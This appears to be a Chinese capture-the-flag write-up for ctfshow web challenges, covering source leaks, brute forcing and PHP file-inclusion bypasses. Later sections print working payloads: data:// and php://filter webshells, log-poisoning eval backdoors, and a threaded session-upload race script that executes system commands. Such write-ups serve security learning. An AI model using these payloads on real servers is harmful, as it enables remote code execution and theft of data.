CTFSHOW_web_WP 信息搜集web1-4 太简单,直接写 web5 没见过的。
web5 (源码泄露 phps) 源代码无 flag、请求头无提示、dirsearch 扫不到东西。根据题目描述,是 phps 源码泄露
phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的内容,所以需要用 phps 文件代替。其实,只要不用 php 等已经在服务器中注册过的 MIME 类型为文件即可,但为了国际通用,所以才用了 phps 文件类型。
可以进行试探,index.phps、flag.phps 等,这里是 index.phps
得到 flag:
ctfshow {31c809a5-db0b-4b7e-8473-2d44bda8a644}
web6 (扫目录)题目描述:解压源码到当前目录,测试正常,收工
源代码无、请求头无,dirsearch 扫出:
得到 flag 所在文件
<?php
//flag in fl000g.txt
echo "web6:where is flag?"
?>
得到 flag:
ctfshow {be330719-e0fb-4559-84ec-64896ce3a888}
web7 (扫目录)题目提示:版本控制很重要,但不要部署到生产环境更重要。
dirsearch 扫出结果:
http: //bba765d2-7f01-436e-b6e0-223644bd4ca1.challenge.ctf.show/.git/
得到 flag:
ctfshow {95be9143-b5fd-4d89-8418-5de3a2fe5f18}
web8 (扫目录)题目描述:版本控制很重要,但不要部署到生产环境更重要。
dirsearch 扫出:
http: //07abf623-ca12-4a99-bdb6-6cee55b38c36.challenge.ctf.show/.svn/
得到 flag:
ctfshow {7fadf802-c6ff-440d-aec1-2600d69b66ce}
web9 (vim 文件泄露)题目描述:发现网页有个错别字?赶紧在生产环境 vim 改下,不好,死机了。
猜测是 vim 文件泄露。
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当 vim 异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
使用 vim 时会创建临时缓存文件,关闭 vim 时缓存文件则会被删除,当 vim 异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。
以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 **.index.php.swo
** 的交换文件
第三次产生的交换文件则为 .index.php.swn
因为没有提示是编辑什么文件的时候发生的死机,这里只能试试:index.php 或者 flag.php 等
这题是 index.php.swp。
拿到之后可以用 vim 恢复文件(这题不用),命令为
得到 flag:
ctfshow {f50708e9-d7e4-4317-8784-eb468f5a3ae4}
web10 (cookie 信息泄露)题目描述:cookie 只是一块饼干,不能存放任何隐私数据
根据描述查看 cookie:
ctfshow%7Bc1d80b6b-3436-4c94-b2a4-432674fd6e32%7D
进行url解码:
ctfshow {c1d80b6b-3436-4c94-b2a4-432674fd6e32}
web11 (域名解析记录)题目描述:
域名其实也可以隐藏信息,比如 flag.ctfshow.com 就隐藏了一条信息
由于动态更新,txt 记录会变 最终 flag:flag {just_seesee}
题目网址就是 flag.ctfshow.com
要通过 dns 检查查询 flag 的 TXT 记录,一般指为某个主机名或域名设置的说明。
查找 flag.ctfshow.com 域名下的 txt 记录
域名解析查询:
flag:
web12 (公开信息收集)题目描述:有时候网站上的公开信息,就是管理员常用密码。
常规查看 robots.txt:
http: //90dc1924-e96d-4609-ab5b-f8a228b88c07.challenge.ctf.show/robots.txt
得到:
User-agent: *
Disallow: /admin/
找到登录口之后开始根据描述套密码:
name:admin
password:372619038
这个密码是页面最底下的帮助热线电话
flag:
ctfshow {2e53ed95-996e-40fc-801c-33dfe1a2afae}
web13 (公开信息泄露收集)题目描述:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码。
dirsearch 扫出:
然而并没有用,最后根据提示知道 index 中有个敏感信息可以下载,最终找到:
得到后台地址和账密:
后台地址:http: //your-domain/system1103/login.php
默认用户名:admin
默认密码:admin1103
拿到 flag:
ctfshow {de12cb72-b498-44ae-b8f5-7ad094620bdf}
web14 (默认配置未修改)题目描述:有时候源码里面就能不经意间泄露重要 (editor) 的信息,默认配置害死人
题目提示:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
根据在网站源码这里发现一个路径,访问:
cb5f2aef- 334 b- 4 df3- 8 a9c- 62 fc29ae06f2 . challenge . ctf . show/editor/
尝试几次上传后门无果,提示没有权限,最后在一个按钮的文件空间上进去目录:
兜兜转转最终找到 flag 位置:
var->www->html->nothinghere->fl000g.txt
var/www/html/nothinghere/fl000g.txt
最终 url:
http: //cb5f2aef-334b-4df3-8a9c-62fc29ae06f2.challenge.ctf.show/nothinghere/fl000g.txt
flag:
ctfshow {8a99f0ed-7e7e-481c-aac3-eaceaea186e6}
web15 (公开信息泄露)题目描述:公开的信息比如邮箱,可能造成信息泄露,产生严重后果。
找到公开邮箱:
但是找不到任何有用的登入点,试 admin 有无后台页面:
http: //73696959-f413-47bd-8a1e-53d57363b8b5.challenge.ctf.show/admin/
由于我们只有邮箱,这里是登不上去的,可以尝试忘记密码:
这里通过去除 @qq.com 后缀得到 qq 号然后查询号主所在地:
这里我查询到号主是香港…… 但是提交并不正确,通过查看提示才知道号主是西安的,可能号主修改了所在地或者真的就在香港。
这里提交西安之后提交成功:
返回登陆之后拿到 flag:
ctfshow {8a755fbd-c1bb-40ec-9369-2ccf1536c3c1}
web16 (探针未删除)题目提示:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
php 探针是用来探测空间、服务器运行状况和 PHP 信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。
url 后缀名添加 /tz.php 版本是雅黑 PHP 探针,这里先试试这个探针,因为这个探针用的挺多挺广的。
这个用的就是雅黑 PHP 探针。
仔细搜查:
可以查看 phpinfo 自然是挺好的:
搜索 '{' 直接搜到了 flag:
ctfshow {3afe0d10-a766-4287-af29-08bf4c767b8e}
web17 (备份文件泄露)hint:备份的 sql 文件会泄露敏感信息
得到文件名:
查看文件得到 flag:
ctfshow {f1c3b6a6-4e42-4614-8ed3-584edb90aef0}
web18 (js 代码审计解码)hint:不要着急,休息,休息一会儿,玩 101 分给你 flag
查看源代码:
view-source:http: //0bcc93ca-fb86-4b32-b06d-47c914cd50ab.challenge.ctf.show/
找到脚本:
< script type = "text/javascript" src = "js/Flappy_js.js" ></ script >
进行代码审计,判断关键信息:
if ( score > 100 )
{
var result = window . confirm ( " \u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b " );
}
进行 unicode 解码:
访问 110.php:
ctfshow {5c672d42-b72f-4b83-b6a4-0b67737231c5}
web19 (前端代码泄露密钥)hint:密钥什么的,就不要放在前端了
根据提示直接查看源代码发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 < body >
< form action = "#" method = "post" id = "loginForm" >
用户名: < input type = "text" name = "username" >< br >
密 码: < input type = "password" name = "pazzword" id = "pazzword" >< br >
< button type = "button" onclick = " checkForm ()" > 提交 </ button >
</ form >
</ body >
< script type = "text/javascript" >
function checkForm (){
var key = "0000000372619038" ;
var iv = "ilove36dverymuch" ;
var pazzword = $ ( "#pazzword" ). val ();
pazzword = encrypt ( pazzword , key , iv );
$ ( "#pazzword" ). val ( pazzword );
$ ( "#loginForm" ). submit ();
}
function encrypt ( data , key , iv ) { //key,iv:16位的字符串
var key1 = CryptoJS . enc . Latin1 . parse ( key );
var iv1 = CryptoJS . enc . Latin1 . parse ( iv );
return CryptoJS . AES . encrypt ( data , key1 ,{
iv : iv1 ,
mode : CryptoJS . mode . CBC ,
padding : CryptoJS . pad . ZeroPadding
}). toString ();
}
</ script >
<!--
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}
-->
直接 post 传参:
username = admin & pazzword = a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
flag:
ctfshow {e621dcd2-b73d-47be-9f40-e0fe6048002b}
web20 (数据库脱裤)hint:mdb 文件是早期 asp+access 构架的数据库文件,文件泄露相当于数据库被脱裤了。
页面显示:
再根据提示,可以直接输入 db 或者用 dirsearch 扫:
http: //e634f141-ac13-43ee-b330-99c7ec7b4409.challenge.ctf.show/db/
但是访问却没有权限。
这个我也不太会,了解了一下才知道要这么写:
http: //e634f141-ac13-43ee-b330-99c7ec7b4409.challenge.ctf.show/db/db.mdb
搜索得到 flag 位置:
flag {ctfshow_old_database}
这题确实不太明白,官方解:
mdb 文件是早期 asp+access 构架的数据库文件 直接查看 url 路径添加 /db/db.mdb 下载文件通过 txt 打开或者通过 EasyAccess.exe 打开搜索 flag flag {ctfshow_old_database}
爆破 web21(弱口令爆破 base64 加密)先下载附件,然后启动环境。随便填写账密然后进行抓包:
可以看出这里要进行 base64 的一个爆破。
传入迭代器,设置好变量点(注意只设置密码为变量),然后记得使用自定义的弱口令字典(附件就是了)。
然后就是记得要对这些弱口令进行 base64 加密:
就可以进行爆破了,结束后查看长度异常的基本就出了。
账密:
flag:
ctfshow {c707ed7f-bdd0-4eb9-b014-09b025b1561e}
web22 (域名爆破)hint: 域名也可以爆破的,试试爆破这个 ctf.show 的子域名
收集子域名的操作也叫子域名爆破,顾名思义,就是「枚举」所有可能存在的子域名。
可以用在线网站,也可以搜索引擎搜:site:xxx.com
第三方的在线网站收集子域名有:
几个可以收集子域名的工具:
1)Sublist3r,Python 编写,通过搜索引擎发现子域名 2)Layer 子域名挖掘机 3)SubDomainsBrute 高并发 dns 暴力枚举 4)DNSRecon 基于字典的枚举工具 5)Gobuster,Go 语言开发的目录、文件、DNS 扫描工具 6)Recon-Ng,收集子域名并解析 IP 地址
reference:https: //blog.csdn.net/wangyuxiang946/article/details/124789944
web23(脚本编写爆破 token)题目描述:还爆破?这么多代码,告辞!
源码中有些不认识的函数:substr ()、intval ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 substr () 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0 。
语法:substr ( string ,start,length)
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
-----------------------------------------------
intval () 函数用于获取变量的整数值。
intval () 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval () 不能用于 object ,否则会产生 E_NOTICE 错误并返回 1 。
源码:
<?php
error_reporting ( 0 );
include ( 'flag.php' );
if ( isset ( $_GET [ 'token' ])){
$token = md5 ( $_GET [ 'token' ]);
if ( substr ( $token , 1 , 1 )=== substr ( $token , 14 , 1 ) && substr ( $token , 14 , 1 ) === substr ( $token , 17 , 1 )){
if (( intval ( substr ( $token , 1 , 1 ))+ intval ( substr ( $token , 14 , 1 ))+ substr ( $token , 17 , 1 ))/ substr ( $token , 1 , 1 )=== intval ( substr ( $token , 31 , 1 ))){
echo $flag ;
}
}
} else {
highlight_file ( __FILE__ );
}
?>
用 python 编写脚本跑出两位的 token 值,可能还有不止两位的 token 值,但是懒得跑了。
import hashlib
a = '0123456789abcdefghijklmnopqrstuvwxyz'
for i in a:
for j in a:
t = ( str (i)+ str (j)).encode( 'utf-8' )
md5 = hashlib.md5(t).hexdigest()
if md5[ 1 : 2 ] == md5[ 14 : 15 ] == md5[ 17 : 18 ]:
if ( int (md5[ 1 : 2 ])+ int (md5[ 14 : 15 ])+ int (md5[ 17 : 18 ]))/ int (md5[ 1 : 2 ]) == int (md5[ 31 : 32 ]):
print (t)
这种题还有一种解法就是返回页面搜查:
import requests
a = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in a:
for j in a:
url = "http://5aad3711-167d-4268-94b4-3bb1a93ae1f0.chall.ctf.show:8080?token=" + str (i)+ str (j)
req = requests.get( url =url).text
if "ctf" in req:
print (req)
exit ()
else :
print (url)
# 搜查返回页面是否有ctf 但是此方法爆破较慢
web24 (脚本编写转换)题目描述:爆个🔨
源码中有个函数不认识:
mt_srand () 函数:
mt_srand () 播种 Mersenne Twister 随机数生成器
语法:mt_srand (seed)
reference:https://blog.csdn.net/qq_45521281/article/details/107302795
源码:
<?php
error_reporting ( 0 );
include ( "flag.php" );
if ( isset ( $_GET [ 'r' ])){
$r = $_GET [ 'r' ];
mt_srand ( 372619038 );
if ( intval ( $r )=== intval ( mt_rand ())){
echo $flag ;
}
} else {
highlight_file ( __FILE__ );
echo system ( 'cat /proc/version' );
}
?> Linux version 5.4.0 - 131 - generic (buildd@lcy02-amd64- 108 ) (gcc version 9.4.0 (Ubuntu 9.4.0 - 1 ubuntu1~ 20.04.1 )) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022
这道题我们已经知道种子,就不需要去爆破了。直接写出脚本进行转换得到字符串:
<?php
mt_srand ( 372619038 );
echo mt_rand;
?>
传参:
http: //20e33400-2e34-4833-9e8e-a254f35c924d.challenge.ctf.show/?r=1155388967
flag:
ctfshow {c68f8b8a-a644-4417-800f-6326eb72ef01}
web25 (php_mt_seed 工具爆破筛选)hint:爆个🔨,不爆了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
error_reporting ( 0 );
include ( "flag.php" );
if ( isset ( $_GET [ 'r' ])){
$r = $_GET [ 'r' ];
mt_srand ( hexdec ( substr ( md5 ( $flag ), 0 , 8 )));
$rand = intval ( $r )- intval ( mt_rand ());
if ((! $rand )){
if ( $_COOKIE [ 'token' ]==( mt_rand ()+ mt_rand ())){
echo $flag ;
}
} else {
echo $rand ;
}
} else {
highlight_file ( __FILE__ );
echo system ( 'cat /proc/version' );
}
判断关键信息:
mt_srand ( hexdec ( substr ( md5 ( $flag ), 0 , 8 )));
$rand = intval ( $r )- intval ( mt_rand ());
if ((! $rand )){
if ( $_COOKIE [ 'token' ]==( mt_rand ()+ mt_rand ())){
echo $flag ;
}
第一个 if 语句中进行取反,其实就是 intval($r) 和 **intval (mt_rand)** 要相等。
但是也可通过这一个式子得到第一次的随机数(传 r 为空):
intval ( mt_rand ()):2105788890
得到这个第一次的伪随机数之后就能尝试用工具 php_mt_seed 去爆破了:
download:http: //www.openwall.com/php_mt_seed
它可以根据单次 mt_rand () 的输出结果直接爆破出可能的种子,当然也可以爆破类似 mt_rand (1,100) 这样限定了 MIN MAX 输出的种子。
下载后,执行如下命令编译生成:
得到爆破可能结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌──(kali㉿kali )-[~/桌面/php_mt_seed_4.0/php_mt_seed-4.0]
└─$ time ./php_mt_seed 2105788890
Pattern: EXACT
Version: 3.0 .7 to 5.2 .0
Found 0 , trying 0x14000000 - 0x17ffffff , speed 16777.2 Mseeds/s
seed = 0x1623e1be = 371450302 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x1623e1bf = 371450303 (PHP 3.0 .7 to 5.2 .0 )
Found 2 , trying 0x9c000000 - 0x9fffffff , speed 13775.0 Mseeds/s
seed = 0x9c565330 = 2622903088 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x9c565331 = 2622903089 (PHP 3.0 .7 to 5.2 .0 )
Found 4 , trying 0xfc000000 - 0xffffffff , speed 13638.3 Mseeds/s
Version: 5.2 .1+
Found 4 , trying 0x08000000 - 0x09ffffff , speed 114.7 Mseeds/s Found 4 , trying 0x14000000 - 0x15ffffff , speed 109.7 Mseeds/s
seed = 0x14a24111 = 346177809 (PHP 7.1 .0+ )
Found 5 , trying 0xfe000000 - 0xffffffff , speed 106.7 Mseeds/s
Found 5
./php_mt_seed 2105788890 153.43 s user 0.31 s system 379 % cpu 40.512 total
即五个可能种子:
seed = 0x1623e1be = 371450302 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x1623e1bf = 371450303 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x9c565330 = 2622903088 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x9c565331 = 2622903089 (PHP 3.0 .7 to 5.2 .0 )
seed = 0x14a24111 = 346177809 (PHP 7.1 .0+ )
然后根据第二个 if 语句,我们需要得到后面两个伪随机数进行相加得 token 值。这里直接将五个种子全试一遍找出有效种子(注意不同的种子有各自的 php 版本)
输出伪随机数:
<?php
mt_srand ( 346177809 );
echo mt_rand ();
echo " \r\n " ;
echo mt_rand ();
echo " \r\n " ;
echo mt_rand ();
echo " \r\n " ;
echo 439729451 + 1215126193 ;
?>
// 这里直接输出的第五个种子的结果
测试:
seed5 = 0x14a24111 = 346177809 (PHP 7.1 .0+ )
result:
2105788890
439729451
1215126193
相加结果:
1654855644
r = 2105788890
token = 1654855644
得到 flag:
ctfshow {47a8c33d-8937-45c8-b24b-382998869c60}
web26 (json 爆破 可以传参逃课)hint: 这个可以爆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 < script >
function check() {
$ . ajax ({
url: 'checkdb.php' ,
type: 'POST' ,
dataType: 'json' ,
data: {
'a' : $ ( '#a' ). val (),
'p' : $ ( '#p' ). val (),
'd' : $ ( '#d' ). val (),
'u' : $ ( '#u' ). val (),
'pass' : $ ( '#pass' ). val ()
},
success : function ( data ){
alert ( data [ 'msg' ]);
},
error : function ( data ){
alert ( data [ 'msg' ]);
}
});
}
</ script >
注意是 post 类型,访问 checkdb.php 直接 post 一下:
Post data:a= & p =& d =& u =& pass =
提示说是要进行爆破密码,可以去尝试。
web27 (日期爆破)启动环境,是一个教务管理系统。
从中可以看到两个重要信息,一个是录取名单一个是学籍信息。下载录取名单之后发现有一部分的身份证号,又根据学籍信息查询登录界面可知,要爆破身份证号。
序号 姓名 专业 身份证号码 备注
1 高先伊 WEB 621022 ******** 5237
2 嵇开梦 MISC 360730 ******** 7653 党员
3 郎康焕 RE 522601 ******** 8092
4 元羿谆 PWN 451023 ******** 3419 生源地贷款
5 祁落兴 CRYPTO 410927 ******** 5570
先查看学籍信息查询系统的源代码,发现是 post 传参:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 < script >
function check() {
$ . ajax ({
url: 'checkdb.php' ,
type: 'POST' ,
dataType: 'json' ,
data: {
'a' : $ ( '#a' ). val (),
'p' : $ ( '#p' ). val ()
},
success : function ( data ){
alert ( data [ 'msg' ]);
},
error : function ( data ){
alert ( data [ 'msg' ]);
}
});
}
</ script >
而且 a 对应姓名,p 对应身份证号码。
post 传参爆破:
post data:a=高先伊 & p = 621022 ******** 5237
这里有个坑。bp 并不能抓到 checkdb.php 的包(火狐浏览器下)
尝试用别的浏览器抓包复制请求头
然后使用 burp suite 进行爆破。
爆破设置如下:
得到结果:
身份证号码:
621022199002015237
回显:
{ "0" : "success" , "msg" : "\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801" }
unicode转中文:
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
返回登陆:
flag:
ctfshow {f20dfe36-0c2e-4bfd-a182-090c0f8a6666}
web28 (去掉特殊 爆破目录)根据提示,去掉 2.txt 进行抓包爆破:
注意设置步长为 1
查看返回包状态为 200。
文件包含文件包含漏洞利用手法:
1.php伪协议
2.包含日志文件
3.包含系统文件
1.php 伪协议中的 filter 的 reference :
谈一谈 php://filter 的妙用
file_put_content 和死亡・杂糅代码之缘
file_put_contents — 将一个字符串写入文件
php 支持的字符编码
2. 包含日志文件 ,日志和配置文件默认存放路径:
apache+Linux日志默认路径:
/etc/httpd/logs/access_log
/ var /log/httpd/access_log
apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件
用户安装目录logs目录下(/usr/local/nginx/logs)
/var/log/nginx/access.log
/var/log/nginx/error.log
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
session 常见存储路径:
php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到 session 文件格式: sess_[phpsessid] ,phpsessid 在发送的请求的 cookie 字段中可以看到
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
3. 包含系统文件
条件:
1.php以cgi方式运行,这样environ才会保持UA头。
2.environ文件存储位置已知,且environ文件可读。
proc/self/environ 中会保存 user-agent 头,如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中,之后再包含它,即可。
web78 (filter 伪协议读取) <?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
include ( $file );
} else {
highlight_file ( __FILE__ );
}
直接常规使用 php://filter 读一下 flag.php,反正没损失:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3thZDc4MzEzNC05YjU2LTQxMmEtOTU1NC03NzIwZjgwYzljZDF9Ijs =
得到 base64,解密:
<?php
$flag = "ctfshow{ad783134-9b56-412a-9554-7720f80c9cd1}" ;
得到 flag。
web79 (data 伪协议) <?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
$file = str_replace ( "php" , "???" , $file );
include ( $file );
} else {
highlight_file ( __FILE__ );
}
这里有个字符串替换,检测到 php 然后直接被替换成???
str_replace () 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是数组,那么它将返回数组。 如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换 如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。 注释:该函数区分大小写。请使用 str_ireplace() 函数执行不区分大小写的搜索。
注释:该函数是二进制安全的。
那么这里就不能用 php:// 的为协议进行操作了,但是伪协议家族中还有个和 php:// 差不多的协议:data://
php 版本大于等于 php5.2 allow_url_fopen = On allow_url_include = On 用法:
data: //text/plain,
data: //text/plain;base64,
构造 payload:
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里注意+号要进行url编码成%2b
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这里的 + 会被当做空格处理,base64 解码的时候会忽略空格,自动在后面加上一个 =
即:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=
解码后:<?php eval ($_POST [1]);? 这样传进去就会报错
解决方法:将 + 进行 urlencode
这句话构造的是 phpinfo,但是经过查看发现 phpinfo 并不能找到 flag。
于是构造:
?file=data: //text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64_decode:
<?php system ( 'cat flag.php' );?>
flag:
ctfshow {af46f6e1-2e87-49d3-a0c1-d9d7a411d59c}
web80 (包含日志文件)<?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
$file = str_replace ( "php" , "???" , $file );
$file = str_replace ( "data" , "???" , $file );
include ( $file );
} else {
highlight_file ( __FILE__ );
}
这次 data 也被过滤,只能另寻办法。
这里采用包含日志文件 (也可以 php://input):
// 先查看请求头得到服务器类型:
Server: nginx/ 1.18.0 (Ubuntu)
构造 payload:
?file=/ var /log/nginx/access . log
得到回显,发现显示的有访问端的浏览器信息,于是进行抓包修改上传一句话后门:
<?php @ eval ( $_POST [ 'a' ]);?>
然后用蚁剑或者直接命令控制找到 fl0g.php 得到 flag:
ctfshow{ 7230 bb0d-b8f8- 4 f13-b00c- 3 a0e5e3dcd99}
web81 (包含日志文件)<?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
$file = str_replace ( "php" , "???" , $file );
$file = str_replace ( "data" , "???" , $file );
$file = str_replace ( ":" , "???" , $file );
include ( $file );
} else {
highlight_file ( __FILE__ );
}
这道题和上一道只多了一个冒号 ' : ' 的过滤,还是可以通过包含日志文件进行 getshell 得到 flag:
ctfshow {a6fbd083-6f4c-4c2c-ba8f-f0ed18b729c9}
web82-86 (条件竞争)<?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
$file = str_replace ( "php" , "???" , $file );
$file = str_replace ( "data" , "???" , $file );
$file = str_replace ( ":" , "???" , $file );
$file = str_replace ( "." , "???" , $file );
include ( $file );
} else {
highlight_file ( __FILE__ );
}
这道题又新加了一个句号点 ' . ' 的过滤,又得另寻他法。
hint: 竞争环境需要晚上 11 点 30 分至次日 7 时 30 分之间做,其他时间不开放竞争条件
所以这里使用 session.upload_progress 文件包含进行条件竞争
reference :
https://www.freebuf.com/articles/web/288430.html
and
https://www.freebuf.com/vuls/202819.html
主要看第二个链接
将条件竞争脚本写好,这里引用 yu22x 师傅的 all in one 脚本可一把梭:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests
import threading
import sys
session=requests . session ()
sess= 'good' # 可自设
url1= "http://xxx/"
url2= 'http://xxx?file=/tmp/sess_' +sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST[1]);?>'
}
data2={
'1' : 'system("cat f*");'
}
file={
'file' : 'kkk' # 可自设
}
cookies={
'PHPSESSID' : sess
}
def write ():
while True :
r = session . post (url1,data=data1,files=file,cookies=cookies)
def read ():
while True :
r = session . post (url2,data=data2)
if 'ctfshow{' in r . text:
print (r . text) # 这里根据flag格式可改写
threads = [threading . Thread (target=write),
threading . Thread (target=read)]
for t in threads:
t . start ()
# 稍微等一下就跑出来了
小结
利用条件
存在文件包含漏洞
知道 session 文件存放路径,可以尝试默认路径
具有读取和写入 session 文件的权限
web87 (filter 加编码后门)<?php
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
$content = $_POST [ 'content' ];
$file = str_replace ( "php" , "???" , $file );
$file = str_replace ( "data" , "???" , $file );
$file = str_replace ( ":" , "???" , $file );
$file = str_replace ( "." , "???" , $file );
file_put_contents ( urldecode ( $file ), "<?php die('大佬别秀了');?>" . $content );
} else {
highlight_file ( __FILE__ );
}
有个显著的特征:
file_put_contents ( urldecode ( $file ), "<?php die('大佬别秀了');?>" . $content );
file_put_contents:把一个字符串写入文件中。
首先知道 base64 转换后的字符串长度是 4 的倍数,不足补 =
base64 解码时,每 4 个字节为一组,遇到不在合法字符中的字符,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码。所以这里的字符串被忽略字符之后剩下的有:phpdie
这 6 个字符,需要我们补 2 个即可抹除 die。
另外就是 file 传入有一个 urldecode,而 get 传参时就会进行一次 urldecode,所以 file 需要进行两次 urlencode。
其次就是 get 传参时要进行 url 全编码,不然 php 会保留然后就会被过滤成???
url 全编码可以用 burp suite 编码,hackbar 编码好像并不行。
payload:
file = php: //filter/write=convert.base64-decode/resource=1.php
encode_file = % 25 % 37 % 30 % 25 % 36 % 38 % 25 % 37 % 30 % 25 % 33 % 61 % 25 % 32 % 66 % 25 % 32 % 66 % 25 % 36 % 36 % 25 % 36 % 39 % 25 % 36 % 63 % 25 % 37 % 34 % 25 % 36 % 35 % 25 % 37 % 32 % 25 % 32 % 66 % 25 % 37 % 37 % 25 % 37 % 32 % 25 % 36 % 39 % 25 % 37 % 34 % 25 % 36 % 35 % 25 % 33 % 64 % 25 % 36 % 33 % 25 % 36 % 66 % 25 % 36 % 65 % 25 % 37 % 36 % 25 % 36 % 35 % 25 % 37 % 32 % 25 % 37 % 34 % 25 % 32 % 65 % 25 % 36 % 32 % 25 % 36 % 31 % 25 % 37 % 33 % 25 % 36 % 35 % 25 % 33 % 36 % 25 % 33 % 34 % 25 % 32 % 64 % 25 % 36 % 34 % 25 % 36 % 35 % 25 % 36 % 33 % 25 % 36 % 66 % 25 % 36 % 34 % 25 % 36 % 35 % 25 % 32 % 66 % 25 % 37 % 32 % 25 % 36 % 35 % 25 % 37 % 33 % 25 % 36 % 66 % 25 % 37 % 35 % 25 % 37 % 32 % 25 % 36 % 33 % 25 % 36 % 35 % 25 % 33 % 64 % 25 % 33 % 31 % 25 % 32 % 65 % 25 % 37 % 30 % 25 % 36 % 38 % 25 % 37 % 30
content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8% 2 B
然后用蚁剑连,或者直接用 hackbar 输命令即可:
1 = system ( 'ls' );
//查看目录文件
1. php fl0g . php index . php
1 = system ( 'tac fl0g.php' );
得到 flag:
ctfshow {3f5e391f-3767-4fc2-9f7d-407069be0279}
web88 (data 伪协议) <?php
